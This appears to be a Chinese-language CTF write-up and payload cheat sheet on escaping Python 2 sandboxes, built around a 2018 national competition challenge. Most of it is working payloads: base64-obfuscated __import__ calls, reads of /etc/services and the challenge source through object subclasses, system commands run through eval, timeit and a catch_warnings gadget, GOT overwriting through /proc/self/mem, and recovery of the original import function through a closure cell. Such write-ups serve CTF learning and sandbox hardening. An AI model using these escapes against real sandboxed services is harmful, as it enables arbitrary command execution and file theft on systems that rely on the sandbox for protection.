Python 沙盒绕过
起因
以前我也做过一些Python沙盒逃逸的小题目,也翻译和写过两篇关于Python沙盒逃逸的文章。然而在这次国赛的题目,我好像又进一步理解了Python沙箱…
绕过沙盒方法
关于import
通常思路,我们应该找到题目还给我们留下了什么,通常而言
通常而言,出题人一般是禁止引入敏感包,比如 os或者system,
0x01 绕过,通过路径引入
Python的os模块的路径几乎都是/usr/lib/python2.7/os.py中
所以我们可以通过路径引入一些模块
1 | import sys |
0x02 dir 与dict
首先,我们应该确定程序还有哪些内置函数可以用,我们可以通过dir __builtin__
来获取内置函数列表
1 | dir(__builtins__) |
在Python中,不引入直接使用的内置函数被成为builtin函数,随着builtin这个模块自动引入到环境中
进而,我们可以通过__dict__
引入我们想要引入的模块
两种方法都是一个目的,那就是列出一个模组/类/对象 下面 所有的属性和函数
这在沙盒逃逸中是很有用的,可以找到隐藏在其中的一些东西
我们可以通过__dict__
做什么呢?
一个模块对象有一个由字典对象实现的命名空间…属性引用被转换为这个字典中的查找,例如,m.x等同于m.dict[“x”]
绕过实例:
首先通过 base64 绕过字符明文检测
1 | import base64 |
然后通过dict引用
1 | 'X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')) __builtins__.__dict__[ |
如果一些 内敛函数在builtins__删除 ,我们可以通过reload(__builtins__)
重新载入获取一个完整的__builtins
创建对象,以及引用
python的object类中集成了很多的基础函数,我们想要调用的时候也是可以通过创建对象进而引用
有常见的两个方法
1 | ().__class__.__bases__[0] |
如,我们可通过print ().__class__.__bases__[0].__subclasses__()[40]("/etc/services").read()
达到文件读取的效果,
常见payload
1 | #读文件 |
其他危险的函数
如execfile文件执行
1 | '/usr/lib/python2.7/os.py') execfile( |
timeit
1 | import timeit |
exec 和eval 比较经典了
1 | eval('__import__("os").system("dir")') |
platform
1 | import platform |
getattr() 和 getattribute()
python 再访问属性的方法上定义了getattr() 和 getattribute() 2种方法,其区别非常细微,但非常重要。
如果某个类定义了 getattribute() 方法,在 每次引用属性或方法名称时 Python 都调用它(特殊方法名称除外,因为那样将会导致讨厌的无限循环)。
如果某个类定义了 getattr() 方法,Python 将只在正常的位置查询属性时才会调用它。如果实例 x 定义了属性 color, x.color 将 不会 调用x.getattr(‘color’);而只会返回 x.color 已定义好的值。
这里,我们可以通过__getattribute__这个方法做一些事,如下面的payload
1 | x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__ |
间接的引用调用
在有些题目中,如这次的2018年国赛的Python沙盒题目上,import 其实整个是被阉割了。
但是在Python中,原生的import是存在被引用的,只要我们找到相关对象引用就可以进一步获取我们想要的内容,具体下面的demo会讲述到
write修改got表
实际上是一个**/proc/self/mem的内存操作方法
**/proc/self/mem是内存镜像,能够通过它来读写到进程的所有内存,包括可执行代码,如果我们能获取到Python一些函数的偏移,如system,我们就能通过想做pwn题的劫持got表做我们任意想做的事情
1 | (lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0)) |
第一个地址是system的偏移,第二个是fopen的偏移,我们可以通过objdump获取相关信息
关于这次的题目
我们可以通过print ().__class__.__bases__[0].__subclasses__()[40]("/home/ctf/sandbox.py").read()
获取题目源码,然后进一步分析
解决
三种方法
0x01
1 | x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__ |
0x02
修改got
1 | (lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('l'+'s /home/ctf/'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0)) |
0x03
间接引用
在不断的dir过程中,发现closure 这个object保存了参数,可以引用原生的import
1 | print __import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('l'+'s home') |
参考
https://xz.aliyun.com/t/52#toc-10
https://blog.csdn.net/qq_35078631/article/details/78504415
https://www.anquanke.com/post/id/85571